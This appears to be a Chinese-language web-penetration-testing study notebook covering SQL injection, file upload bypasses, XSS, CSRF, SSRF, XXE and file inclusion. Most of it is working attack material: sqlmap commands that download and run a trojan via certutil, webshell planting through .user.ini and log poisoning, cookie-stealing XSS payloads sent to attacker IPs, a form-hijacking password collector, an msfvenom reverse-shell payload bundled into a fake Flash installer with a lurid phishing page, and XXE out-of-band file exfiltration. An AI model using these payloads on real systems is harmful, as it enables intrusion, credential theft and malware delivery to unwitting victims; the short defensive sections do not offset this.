# sql 注入

# sqlmap 测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# sqlmap 测试是否存在sql注入:
sqlmap -r sqlmap.txt --batch --dbs
sqlmap -r sqlmap.txt --batch -D Machine --tables
sqlmap -r sqlmap.txt --batch -D Machine -T login --columns
sqlmap -r sqlmap.txt --batch -D Machine -T login -C username,password,role --dump
sqlmap -r sqlmap.txt --sql-shell

# 是否高权限用户
sqlmap -r sqlmap.txt --batch --is-dba

# 清除缓存
sqlmap -u (http://127.0.0.1/q.php?id=1 --purge
sqlmap -r sqlmap.txt --file-read '/var/lib/www/1.php'
sqlmap -r sqlmap.txt --file-write 'd:/w.txt' --file-dest 'd:/h.txt'

# 编码注入
sqlmap -r sqlmap.txt --batch --tamper=base64encode.py

# sqlmap通过注入点下载木马并执行:
sqlmap -r sqlmap.txt --os-cmd="certutil.exe - urlcache - split - f [http://127.0.0.1:81/t.exe](http://127.0.0.1:81/t.exe) d:/e.exe"
sqlmap -r sqlmap.txt --os-cmd="d:/e.exe"

# 弹出系统命令对话框但是执行速度会非常慢
sqlmap -r sqlmap.txt --os-shell

++ 数据包中如果某参数后有’*' 号表示从此注入,否则全部尝试注入,可以放在 X-Forawad-for 后等

# 手工 sql 注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 对 history.php 所在的 url 地址尝试手工判断是否是注入点
http://192.168.31.208/history.php?user=admin%27%20and%201=1--+

# 猜字段有多少个, 1 时是正确的, 1 、 2 时报错了,说明只能爆出来一个字段
http://192.168.31.208/history.php?user=admin%27%20union%20select%201--+
http://192.168.31.208/history.php?user=admin%27%20union%20select%201,2--+

# 爆出数据库的名字,当前数据库名显示为数据库名是 users
http://192.168.31.208/history.php?user=admin\' union select database()--+

# 显示有四个数据库 information_schema,mysql,performance_schema,sys,users
http://192.168.31.208/history.php?user=admin%27%20union%20select%20group_concat(schema_name)%20from%20information_schema.schemata--+

# 显示数据库 users 下有两个表: details,log
http://192.168.31.208/history.php?user=admin%27%20union%20select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27users%27--+group_concat(table_name) from information_schema.tables where table_schema='users'--+

# 显示数据库users中表detail 有两列:name,password
http://192.168.31.208/history.php?user=admin%27%20union%20select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27details%27--+group_concat(column_name) from information_schema.columns where table_name='details'--+

# 显示users.detail 中 name 分别是:admin,admin123,john,test
http://192.168.31.208/history.php?user=admin%27%20union%20select%20group_concat(name)%20from%20users.details--+group_concat(name) from users.details--+

# 得到 users.detail 中 password 的值:
http://192.168.31.208/history.php?user=admin%27%20union%20select%20group_concat(password)%20from%20users.details--+group_concat(password) from users.details--+

# sql 三大盲注

盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 布尔盲注:有数据库输出判断标准
left(database(),1)>'s'
select user() regexp'^r'
select user() like'^ro%'
ascii(substr((select database()),1,1))<>
ord(mid((select user()),1,1))=

# 报错注入:有数据库报错处理判断标准
floor(rand(0)*2))
extractvalue(1,concat(0x7e,(select user()),0x7e));
select updatexml(1,concat(0x7e,(select user()),0x7e),1);

# 时间盲注:都不需要,比较好用
if(left(user(),1)='a',0,sleep(3));
  • 盲注中的相关函数的解释
1
2
3
4
5
6
7
8
9
like 'ro%' #判断ro或ro...是否成立
regexp '^xiaodi[a-z]' #匹配xiaodi及xiaodi...等
if (条件,5,0) #条件成立 返回 5 反之 返回 0
sleep(5) #SQL语句延时执行 5 秒
mid(a,b,c) #从位置b开始,截取a字符串的c位
substr(a,b,c) #从位置b开始,截取字符串a的c长度
left(database(),1),database() #left(a,b)从左侧截取a的前b位
length(database())=8 #判断数据库database()名的长度
ord=ascii ascii(x)=97 #判断x的ascii码是否等于 97
  • 盲注漏洞寻找:特定函数 + 功能点
    insert/update/delete 无回显,手工测功能点(会员中心 / 删除新闻 / 修改文章 / 留言),注意闭合前面和后面的部分,构造 payload,找到注入点配合工具脚本。代码会带入到数据库中执行,仅保证数据能够执行但没有回显,需要用盲注的方式爆出数据库数据。

# 宽字节注入

自动加上一个转义符号,会导致注入语句失效,使用宽字节绕过。

在计算机中每一个字符为 8 位,那么就是 1 个字节,宽字节注入就是两个字节合并从而进行绕过,如 http://127.0.0.1/where.php?id=1’ 当我们输入单引号的时候,那么会被转义成’,这样就无法进行注入。

但是进行绕过的话,在 id 参数加入一个 % df 被转义后成为 % df%5c 那么就会成为一个繁体字。http://127.0.0.1/where.php?id=�’ (運’) 这样会被转义,但是这是宽字节,所以即使被转义后也可以进行注入。之后就用 sqlmap 跑即可。

# 堆叠注入

1
2
3
4
5
6
7
8
9
10
# 将一堆sql语句叠加后执行,用分号结束上一个语句再叠加其他语句一起执行。在数据库中可以用拼接的语句来实现效果:
select * from users where id=1;create table test like users;
select * from users where id=1;drop table test;
select * from users where id=1;select 1,2,3;
select * from users where id=1;insert into users(id,username,password) values ('100','new','new');

# 如果selcet/insert/update/delete被过滤,可以采用编码的方式绕过:
PREPARE yuchuli from 'select * from `1919810931114514`'; EXECUTE yuchuli;
';SET @sql = concat(char(115,101,108,101,99,116), " * from `1919810931114514`"); PREPARE yuchuli from @sql; EXECUTE yuchuli;
';SET @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;PREPARE execsql from @a;EXECUTE execsql;

# 二次注入

进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。

可以在注册处注册一个恶意数据

注册一个 admin’# 的账号,登陆该账号后可以进行密码修改。当数据写入到数据库的时候反斜杠会被移除,所以写入到数据库的内容就是原始数据,并不会在前面多了反 斜杠。用 admin’# 登陆,并进行密码修改,密码修改为 123456。

此时原来 admin 的密码被改变为 123456。因为我们将问题数据存储到了数据库,而程序再取数据库中的数据时没有进行二次判断便直接带入到代码中,从而造成了二次注 入。

# dnslog 注入

域名可以分为 5 级,从右向左解析,用’.' 分割级别,低级别的域名要在高级别的域名中去解析,所以当 security.gitw7c.dnslog.cngitw7c.dnslog.cn 中去解 析的时候,就会留下解析记录,通过获取前来解析的低级域名前缀来获取我们需要的信息。

1
2
3
4
5
# dnslog 注入使用
select load_file(concat('\\\\',(select database()),'.gitw7c.dnslog.cn/abc'));

# //转换之后的结果为:\\security.gitw7c.dnslog.cn
# load_file请求security.gitw7c.dnslog.cn下的/abc文件时留下dns解析记录来获取信息的。
  • 域名解析规则与 mysql 解析 url 的问题

域名里有一个规则,只能出现数字,字母,下划线;所以在获取到的信息中包含了其
他特殊符号时,load_file 就会认为是一个错误的域名,就不会去从网络中解析了。当数据 库名为 security,以字母开头,在域名规则内是允许的,load_file 会向域名进行解析。而当 在域名中拼接一个 @符号时,就不会进行解析。

在使用 group_concat 合并查询时,会自动使用’,‘连接我们查询到的每值,但是由于’,’ 在 url 中是不允许出现的,所以使用 group 查询到的值去解析时候,mysql 就会认为这不是一 个 url 地址,就不会出现解析的操作,所以就没法获取到值。

1
2
3
4
# 使用replace,substr等函数,可以绕过url解析的问题。如:
select load_file(concat('\\\\',(select SUBSTR(replace((group_concat(username )),',','_'),1,63) from users),'.qnpqsu.dnslog.cn/abc'))

# 通过正则替换将replace中的","全部替换为"_"后符合了url的解析规则,并且需要将查询结果的字符长度控制在 63 个之内。

dnslog 还可以解决命令注入无回显的问题,在有命令执行的地方尝试执行命令:curl 得到的 dnslog 子域名,如果执行成功则在 dnslog.cn 上会有回显。dns 协议一般不会被禁用或被防火墙拦截,是可以出网的。

# 文件上传

# 常见绕过方法

  • 前端 js 认证:可修改数据包将 jpg/png 改为 php
  • MIME 绕过:抓包修改 content-type 为图片类型 image/jpeg、image/png、image/gif
  • 点 + 空格 + 点 / 大小写 / 空格绕过:伪造为’1.php. .' 或’1.pHP’或’1.php ’
  • 文件头部信息绕过:不同格式后缀的图片用编辑器打开之后头几个字母不同,通过伪造
  • 文件的头部信息绕过文件类型校验,如 gif 的头部是 GIF89A
  • .htaccess 绕过:apache 中间件可上传内容为 AddType application/x-httpd-php .png
  • 的.htaccess 文件,使 png 后缀文件当成 php 解析,nginx 中间件需要相关配置才会支持
  • 二次渲染绕过:在未被删掉代码的图片源代码中添加后门上传,如果对方服务器返回了
  • 文件的地址如 http://127.0.0.1/images/?image=1.png 的文件包含形式,则可能执行后门
  • 二次渲染:图片上传之后被做了修改,遗留下了被裁剪后的图片,图片源代码有所减少
  • 二次渲染配合条件竞争:文件到了服务器才进行的过滤是存在二次渲染问题的,配合条件竞争可以实现后门写入,文件存在的那一刹那,对文件进行重复访问,此时文件不会被重命名,php 文件留下来了;二次渲染一般用脚本生成图片,手工生成不容易判断哪里的代码会被消除
  • 图片中的后门代码被执行需要配合解析漏洞、文件包含、.user.ini 或.htaccess 四者之一

# .user.ini 巧用

  • .user.ini 绕过:上传内容为 auto_prepend_file=test.png 的.user.ini 文件;并上传内容为 的 test.png,访问 index.php 时则执行 test.png 中的后门

  • 点过滤绕过:上传内容为 <?=include’http://794750069/’> 的 xxx 文件,此地址的首页源 代码上写上后门代码,并上传 auto_prepend_file=xxx 的.user.ini 文件,则可触发后门

  • 文件上传即删除绕过:上传内容为 auto_prepend_file=http://794750069 / 的.user.ini 文 件,此时访问 index.php 就会被当作访问了存放在远程的后门文件

  • 无 index.php 文件:没有首页文件并且过滤非常严谨,可以先上传任意内容的 index.php 文件,再上传内容为 auto_prepend_file=/var/log/nginx/access.log 的.user.ini 文 件,抓包并在 UA 中写入一句话后门则可以得到 webshell

*.user.ini 实际上就是一个可以由用户 “自定义” 的 php.ini,我们触发访问的的代码并不是.user.ini 也不是 1.png 而是 index.php,它有去让这个.user.ini 生效。我们访问 index.php, 会按照我们上传的.user.ini 去解析,解析了我们上传的包含恶意代码的 test.png 文件。

# 日志文件写木马

nginx 的日志文件时 /var/log/nginx/access.log,可以通过修改.user.ini 的配置使 index.php 包含其 nginx 日志文件,此时访问 index.php 文件时将会定位到日志文件。日志文件中记录有 UA 头,伪造 UA 数据为一句话木马,此木马被记录到 日志,在 index.php 处执行木马文件即可获得 webshell。

  • 上传.user.ini: auto_prepend_file=test.png

  • 上传 test.png: 访问 index.php 文件则会出现 nginx 的日志文件

  • 抓包伪造 UA:

  • 执行木马: x=system (‘tac …/flag.php’);

# 中间件 解析漏洞

  • IIS 6 7 : 文件名 x.asp;.x.jpg、目录名 x.asp/x.jpg

  • Apache 换行解析 配置不当: CVE-2017-15715,2.4.0~2.4.29 版本存在解 析漏洞;上传 evil.php 文件,在文件末尾添加空格,找到 hex 中的 20 修改为 0a,上传之后访问文件 /evil.php%0a 即可触发后门代码内容

  • Apache htaccess 配置不当:AddHandler application/x-httpd-php .php,将 1.php.png 解析为 php

  • nginx 文件名逻辑:CVE-2013-4547 ,0.8.4 ~1.4.3 / 1.5.0~1.5.7 存在文件名逻辑 漏洞;上传内容为 的 “1.gif [0x20]” 文件,访问 /1.gif [0x20][0x00].php,即可发现 PHP 被解析
    [0x20]表示 hex 处的值是 20,对应可视化界面是一个空格

  • nginx nginx.conf 配置不当:该漏洞与 Nginx、php 版本无关,属于用户配置 不当造成的解析漏洞,上传 /nginx.png,访问 /nginx.png/.php 即可解析 png 为 php
    实战可以直接找到属于该中间件下的一个图片的原链接地址,后缀加/.php 测试是否执行

  • 编辑器漏洞:如果能扫描到编译器目录,可以寻找是否存在相关历史漏洞

# 漏洞寻找 审计技巧

  • 黑盒:

黑盒寻找一切存在文件上传的功能应用 (看流程): 个人用户中心是否存在文件上传功能、后台管理系统是否存在文件上传功能、字典目录扫描探针文件上传构造地址、字典目录扫描探针编辑器目录构造地址。

黑盒测试功能:
上传文件进行数据包拦截,尝试修改后缀、MIME 类型、后缀大小写、加点空格、 文件头部、.user.ini、.htaccess 等,如都失败了,可以抓取其他功能如重命名数据包看是 否能修改后缀、可以改 404 模板看是否允许修改、还可以先下载模板并写入木马后用后 台删除原有模板并重新加载带有木马的模板等。

如果已经上传了 php 文件但是并没有被执行而是返回了 403,很有可能是目录做了 限制如.htaccess 的过滤,可以上传或重命名或移动到其他目录下尝试是否能被执行,还 可以直接删除.htaccess 文件消除此目录下的限制。

  • 白盒:

白盒看三点,中间件,编辑器,功能代码 (看代码): 中间件直接看语言环境常见搭 配编辑器、直接看目录机构或搜索关键字、功能代码直接看源码应用或搜索关键字。

白盒调试代码:
一般调试代码是通过代码编辑器里边的调试按键或者直接打印某些不容易推断的变 量,也可以通过网站的审查元素功能确定当前的 url 及传参地址,还能通过 burp 抓取数 据包,直接就可以确定当前操作的 url 地址并且在代码中进行定位。

根据 url 地址或者上传恶意文件时文件的报错锁定代码位置,追朔代码过滤规则及漏 洞产生的原因,在哪个地方过滤的,是黑白名单过滤还是过滤不严谨等。

# xss 跨站

# xss 原理分类及寻找

  • xss 跨站原理

指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其 他用户造成影响的 HTML 代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。通过在用户端注入恶意的可执行脚本,若服务器对用户的输入不进行处理或处理不严,则浏览器就会直接执 行用户注入的脚本。

  • xss 跨站分类

反射型(非持久型): 指执行一次的漏洞,不会存储到数据库中
存储型(持久型): 攻击代码写入到了数据库里,其他人访问时被攻击
DOM 型:数据的输入输出都是在浏览器 js 代码里边完成的,没有进入后端

  • xss 漏洞的寻找

数据交互的地方:get/post/headers,反馈与浏览,富文本编辑器,各类标签插入和自定义
数据输出的地方:用户资料,关键词、标签、说明,文件上传

# beef-xss 安装及使用

1
2
3
4
5
6
7
8
9
# 利用docker在服务器安装,默认用户名密码都是beef
docker pull janes/beef
3docker run - p 3000:3000 - d janes/beef
http://110.42.178.227:3000/ui/panel

# 本地写内容如下的 1 .html文件,当此页面被打开时,即beef上线
<script src="http://110.42.178.227:3000/hook.js"></script>

# beef观察到用户上线,可以在beef上盗取cookies,浏览器跳转,钓鱼等操作

将 hook 的指向代码放到自己的网站首页的内容里,同时引诱对方去访问自己的网站,当对方访问自己网站首页时,此时就会劫持到对方当前页面,可窃取 cookie; 但是毕竟是前 端代码造成的危害,js 代码可执行的操作很有限,需要诱使对方去下载木马拿主机权限

# uxss flashxss pdfxss

  • UXSS (通用型 xss): 利用浏览器或者浏览器扩展漏洞来制造产生 XSS 并执 行代码的一种攻击类型,CVE-2021-34506 Edge 低版本浏览器翻译功能导致 JS 语句被调用执行。

  • Flashxss:swf 引用 js 的 xss,swf 下载后利用 JPEXS Free Flash Decompiler 反编译审计,寻找 ExternalInterface.call 执行 JS 代码的地方。

  • PDFXSS: 上传后直链触发,创建 PDF 加入动作 JS、通过文件上传获取直链、直链地址通过浏览器访问后被触发,常用于钓鱼诱使对方下载 pdf 文件并 用 js 代码窃取相关凭据。

1
2
3
4
5
# pdfxss的制作及应用场景
下载迅捷pdf编辑器-文件-新建文档-从空白页
视图-页面缩略图-右键缩略图属性-添加动作-新增运行js代码-app.alert(1)
然后保存为1.pdf,后将pdf文件用浏览器打开即可触发js代码
pdfxss上线beef的代码<script src="http://110.42.178.227:3000/hook.js"></script>不对,可能是需要其他的代码或者其他的手段才能窃取cookie

# 表单劫持实现维权

前提是已经拿到了后台权限或者当前可以修改一些敏感文件;如 /login.php 登录后跳转到了 /admin/index.php 页面,可以修改后者,增加代码为上线 beef 或者 xss 平台窃取 cookie 的内容,则对方管理员在登录后就会将 cookie 发送到我们所设置的平台上。而若对方网站有同源策略或者防护的情况下,我们得到的 cookie 是不完整的,如丢失了 PHPSESSION,剩下的 cookie 部分不支持我们登入其后台。

此时可以通过表单劫持来实现权限维持,通过抓包分析出网站在输入密码后会访问的网址如 /admin/login_check.php 页面,找到记录账户和密码的变量,将其发送到自己的远程服务器,$i=;echo $i,在自己的服务器上构造 get.php 文件用来接收 js 传过来的参数。于是乎,当对方每次登录后台的时候都会把最新的密码发送到自己的服务器上。

1
2
3
4
5
6
7
8
9
10
# 服务器上的get.php的内容如下:
<?php
$u=$_GET['user'];
$p=$_GET['pass'];
$myfile = fopen("newfile.txt", "a+");
fwrite($myfile, $u);
fwrite($myfile, '|');
fwrite($myfile, $p);
fclose($myfile);
?>
  • 浏览器网马配合 MSF 访问上线 (windows XP/windows 7):
1
2
3
4
5
6
7
# 先配置msfconsole生成URL
use exploit/windows/browser/ms14_064_ole_code_execution
set allowpowershellprompt true
set target 1
run

# 会生成一个url地址,诱使受害者访问此URL,一旦访问之后,msf就会上线拿到对方主机权限。

也可以先将 beef 代码放在自己的服务器上诱使对方访问恶意 url 地址,再通过 beef 的功能执行由 msf 生成的 url 进行上线。由于只适用于 XP/7 系统,在现在的网络环境上已经几乎碰不到了,但是钓鱼的思路还是很不错的。

# Flash 钓鱼及 MSF 捆绑

参考地址:https://www.cnblogs.com/thespace/p/15520945.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# msf 生成后门:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.16 8.0.102 LPORT=4444 -f exe -o ~/Desktop/flash.exe

# 下载官方文件旧版 www.flash.cn 的钓鱼页,并下载 flash 的最新安装程序。
https://github.com/r00tSe7en/Fake-flash.cn

# 下载 winrar 解压缩工具,将 flash.exe 与 flash_install.exe 文件捆绑,选中之后-用 winrar 压缩-勾选自解压格式压缩文件-高级中的自解压选项-解压路径为 C:\windows\temp, 选择设置中解压前运行 flash.exe,解压后运行 flash_install.exe-重命名后保存。

# 图标伪造,利用 Restorator 工具,将 flash 原有的图标导出为 ico,并且将用 rar 新生 成的 exe 的图标改为 flash 图标并保存后获得正确的图标。将此文件放入到外网地址中, 并用钓鱼页面的下载地址指向 flash_install.exe 的下载链接。

# MSF配置监听状态
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 4444
run

# 再次使用适当的语言诱使受害者点击,需要准备精心设计的 html 页面,并在点击图 片或者视频的时候会跳转到远程的 flash 下载界面,当用户点击下载 flash 并且执行后, 木马就会成功上线,msf 就会接收到对方主机的会话。钓鱼代码如下所示
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>小迪与某主播SESE画面流出!</title>
</head>
<body>
小迪与某主播SESE画面流出!<br>
<img src="1.jpg" alt="" width="300" height=600 align="absmiddle"/ onclick=a()>
</body>
</html>
<script>
function a(){
alert( "您的FLASH版本过低,尝试升级后访问该页面! ");
window.location.href="http://192.168.0.111/";
}
</script>

++ 实测中木马未做免杀被 Defender 拦截,且 rar 压缩出现了问题,并没有释放 exe 木马

# XSS 常见绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# window.location.href='https://www.baidu.com' 指将当前页面跳转到百度
# document.cookie指获取当前页面的cookie的值
# 可在审查元素中的console即控制台中输入js代码测试其功能
<script>window.location.href='http://x.xxx.xx.x/get.php?c='+document.cookie</script>

# script被过滤之后可用其他的标签来进行替换
# onload事件是浏览器解析完页面之后就会自动触发的事件
<img src=1 onerror=window.location.href='http://x.xxx.xx.x/get.php?c='+document.cookie;>
<body onload=1 onerror=window.location.href='http://x.xxx.xx.x/get.php?c='+document.cookie;>
<input onload="window.location.href='http://x.xxx.xx.x/get.php?c='+document.cookie;>
<svg onload="window.location.href='http://x.xxx.xx.x/get.php?c='+document.cookie;>

# 空格被过滤的情况下,可以用'/'进行替换
# 后台管理员有功能页面,能够查看注册用户的账号密码 将注册的帐号密码改成JS代码(获取cookie), 在管理员查看账号密码的时候触发 JS
<svg/onload="window.location.href='http://x.xxx.xx.x/get.php?c='+document.cookie;">

# 后台管理员的cookie的值如果有实效,得到之后很快就不可再次使用,那么可以直接读取后台界面的内容,这里根据html标签匹配到了固定位置的代码,也可以用js代码来获取页面全部的源代码
<script> $('.laytable-cell-1-0-1').each(function(index,value){
if(value.innerHTML.indexOf('ctf'+'show')>-1){ window.location.href='http://47.94.236.117/get.php?c='+value.innerHTML;
} });

# 修改密码的时候抓到了一个url地址,通过此url地址改变了当前用户的密码,可以让管理员以其身份去执行恶意构造的url被动的修改其密码,这也是csrf漏洞;通过js代码新建了一个带有修改管员密码的用户,管员在查看此用户信息的时候就会执行js代码从而密码被改
# location会重定向动静太大,而src是没有感知的;js需要通过ajax来post数据
<script>src='http://127.0.0.1/api/change.php?p=123';</script>
<script>$.ajax({url:'http://127.0.0.1/api/change.php',type:'post',data:{p:'123'}});</script>

# XSS 修复及防止

  • 过滤一些危险字符,以及转义 & < > " ’ 等危险字符

  • HTTP-only Cookie:用来保护 cookie,防止 cookie 被窃取

php.ini 设置:session.cookie_httponly =1

或代码引用:ini_set (“session.cookie_httponly”, 1);

  • 设置 CSP (Content Security Policy):用来防止内容被外部调用,同时也能防止 xss

代码引用:header ("Content-Security-Policy:img-src ‘self’");

  • 输入内容长度限制,实体转义等

# CSRF、SSRF

# CSRF 原理 利用 防御

(1)CSRF 原理及定义

a 某登陆自己的后台,b 某引诱 a 某点击自己伪造的网址;b 某在自己的页 面上写上 a 某添加自己后台管理员的数据包;a 某触发该恶意数据包,管理员被添加;即重复发送数据包让受害者利用他的权限请求我们定义的数据包。添加管理员的数据包可以本地搭建相同的 cms 或者框架,并且利用 csrftest 工具截取到执行操作的数据包并构造 url。

csrftest 工具比较古老了已经,也可以自己抓取捕获敏感流程数据包测试

(2)CSRF 的攻击过程两个条件:

目标用户已经登录了网站,能够执行网站的功能

目标用户访问了攻击者构造的 URL

如我正在网站后台执行一些操作,突然一个人发来一个很有诱惑性的地址,我点进去一看什么也不执行,但是此页面却在无形之中给我的网站增加了一个用户或者修改了管理员 密码,可以通过查看 log 中的 POST 数据及增 / 改管理员数据包的线索朔源。

(3)CSRF 防御策略:

同源策略,检测来源是否是同一域名,但可以通过抓取数据包修改 Refer 来 源;一是在代码中伪造数据包固定 Refer 来源 (可以写一个 py 脚本自定义数据 包进行伪造)、二是尝试寻找可上传地方,上传 html 的恶意 url 地址。

加入 token,每次操作都会有一个随机 token,这个 token 是唯一的无法绕过

加入验证码,但是可以用 burp 的验证码插件完成

# SSRF 原理 危害 修复

(1)SSRF 原理及定义

相当于我们以存在 SSRF 这个服务器为跳板进行的一些加载操作,程序写 法不严谨或者过滤不严格,则加载图片地址的这个功能可能就可以包含进行一些恶意的脚本文件。可以在此功能点探测内网服务,识别内网资产,远程下载 木马并直接运行。

(2)SSRF 的危害:

加载外部的恶意木马文件执行

加载内部的敏感文件程序自身的敏感文件

来访问内网进行内网端口的扫描、获取内网设备信息、枚举内网服务等

配合 burp 爆破可识别到内网中的信息

(3)SSRF 支持协议:

dict, file, ftp, ftps, gopher, http, https, imap, imaps, ldap, pop3, pop3s, rtsp, scp, sftp, smtp, smtps, telnet, tftp

(3)SSRF 常见安全修复防御方案:

过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。

统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

限制请求的端口为 http 常用的端口,比如 80,443,8080,8090。

黑名单内网 ip,避免应用被用来获取获取内网数据,攻击内网。

禁用不需要的协议,仅仅允许 http/https,防止类似于 file:///,gopher://,ftp:// 等

# SSRF 黑盒测试

社交分享功能:获取超链接的标题等内容进行显示

转码服务:通过 URL 地址把原地址的网页内容调优使其适合手机屏幕浏览

在线翻译:给网址翻译对应网页的内容

图片加载 / 下载:例如富文本编辑器中的点击下载图片到本地;通过 URL 地址加载或下载图片

图片 / 文章收藏功能:主要其会取 URL 地址中 title 以及文本的内容作为显示以求一个好的用具体验

云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行 ssrf 测试

网站采集,网站抓取的地方:一些网站会针对你输入的 url 进行一些信息采集工作

数据库内置功能:数据库的比如 mongodb 的 copyDatabase 函数

邮件系统:比如接收邮件服务器地址

编码处理,属性信息处理,文件处理:比如 ffpmg,ImageMagick,docx,pdf,xml 处理器等

未公开的 api 实现以及其他扩展调用 URL 的功能:可以利用 google 语法加上这些关键字去寻找 SSRF 漏洞

一些的 url 中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain…

从远程服务器请求资源(upload from url 如 discuz!;import & expost rss feed 如 webblog;使用了 xml 引擎对象的地方 如 wordpress xmlrpc.php)

# XML、XXE

# XXE 原理 利用

(1)XML/XXE 原理与定义:

XML 被设计为传输和存储数据,XML 文档结构包括 XML 声明、DTD 文 档类型定义 (可选)、文档元素,其焦点是数据的内容,其把数据从 HTML 分 离,是独立于软件和硬件的信息传输工具。XXE 漏洞全称 XML External Entity Injection,即 xml 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入 时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

(2)XXE 漏洞利用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 读取文件:可以用来读取数据库配置文件,/etc/passwd等敏感文件
<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM "file:///d:/e.txt">
]>
<user><username>&test;</username><password>Mikasa</password></user>

# 带外测试:解决命令执行无回显的问题

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "curl [http://9v57ll.dnslog.cn">](http://9v57ll.dnslog.cn>)
%file;
]>
<user><username>&send;</username><password>Mikasa</password></user>

# XML 引用外部实体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 无回显读文件: 引用外部实体,读取本地文件发送到远程地址
# 既然这个数据是用脚本语言解析的、那么有没有可能构造 py 代码,直接用 py 代码解析下面的 XML 语言,用来读取到服务器上的数据;肯定是可以的,用 py 来解析 xml 语言获取其中关键信息
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///d:/e.txt">
<!ENTITY % remote SYSTEM "http://47.94.236.117/test.dtd">
%remote;
%all;
]>
<root>&send;</root>
test.dtd
<!ENTITY % all "<!ENTITY send SYSTEM 'http://47.94.236.117/get.php?file=%file;'>">

# 将payload发送到存在xml漏洞的位置,并在远程服务器构造test.dtd和get.php, get.php 读取file数据并记录在本地,漏洞被触发的时候就会在远程生成目录内容为读取到的d:/e.txt。

# 其他如可以进行php://filter协议来进行编码绕过

# XML 测试及防御

(1)XML 测试:

1
2
3
4
5
6
7
8
# 如果当前关键字Content-Type是xml,可尝试发送xml语言的payload测试;即便此处不是xml依然可以修改类型然后测试。一般的xxe漏洞利用形式如下:
<?xml version = "1.0" ?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///home/ctf/flag.txt" >
]>
<x> &f; </x>

# 对方后台中有函数可以接受此数据并进行分析如php://input,如果对方数据过滤不严谨,是会执行恶意xml。会有一种情况,输入xxe代码,对方无回显无法确定当前是自己 payload有问题还是不存在漏洞,就可以使用dnslog解决命令执行漏洞无回显问题。

(2)XXE 白盒发现:

可通过应用功能追踪代码定位审计

可通过脚本特定函数搜索定位审计

可通过伪协议玩法绕过相关修复等

(3)XXE 修复防御方案:

1
2
3
4
5
6
7
# 禁用外部实体
PHP:libxml_disable_entity_loader(true);
JAVA:DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
Python:from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

# 过滤用户提交的XML数据:
# 过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

# LFI、RFI

# LFI 定义 利用

(1)文件包含 lfi 定义:

php 中的 include 函数,如果其后跟上了一个固定的文件,那么就会在加载原来的文件的时候执行 include 所包含的文件且不论这个文件是以何种后缀结尾都会被解析成 php;如果包含的是个由用户可以控制的文件,那么就存在文件包含漏洞,用户可以指定需要包含的文件进行恶意的读取相关敏感数据或者造成权限丢失。

(2)文件包含 LFI 漏洞利用:

配合文件上传,上传带图片马,用文件包含此图片,脚本代码会被触发。

配合日志文件,日志文件会记录 UA 信息,修改 UA 为后门代码,包含即可执行后门代码。

配合伪协议,利用没有被禁的协议,用 php 伪协议读写文件或者写入后门。

配合会话文件,配合网站后台的 session 目录及其内容使用,每一次访问都会生成一个新的 seesion,而在 php 中是可以通过控制访问网站时的 cookie 值来改变服务器存储的 session 文件名以及通过 post 数据可以改变 session 存储文件中的内容。

# LFI 配合伪协议使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# php://filter使用较多,可以直接读取相关文件
?file=php://filter/read=convert.base64-encode/resource=flag.php

# php://input协议需要开启一些开关才可以使用
?file=php://input post:<?php system('tac flag.php');?>

# 远程包含需要对方在.php.ini中开启相关开关才能使用
?file=http://www.xxx.com/1.txt 1.txt:<?php system('tac flag.php');?>

# 利用base 64 加密可以逃过一些防护措施的检测
?file=data://text/plain,<?=system('tac flag.*');?>
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==

# 使用file协议时需要用到绝对路径,使用php伪协议时需要使用php关键字,需要使用远程包含需要服务器允许,相比之下写入日志没有那么多的限制
?file=/var/log/nginx/access.log

# filter 伪协议加密

php://filter/write 的加密编码:(伪协议可使用但相关字段被绕过的情况)

将 php://filter/write=convert.base64-decode/resource=123.php 进行 url 编码, 浏览器会自动进行一次 url 解码,将 content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg== 通过 post 的方式上传,意味着将要对 123.php 的文件写入,写入的内容为 content 内容解码后的数据,采用这种方法需要就实际场景进行构造。

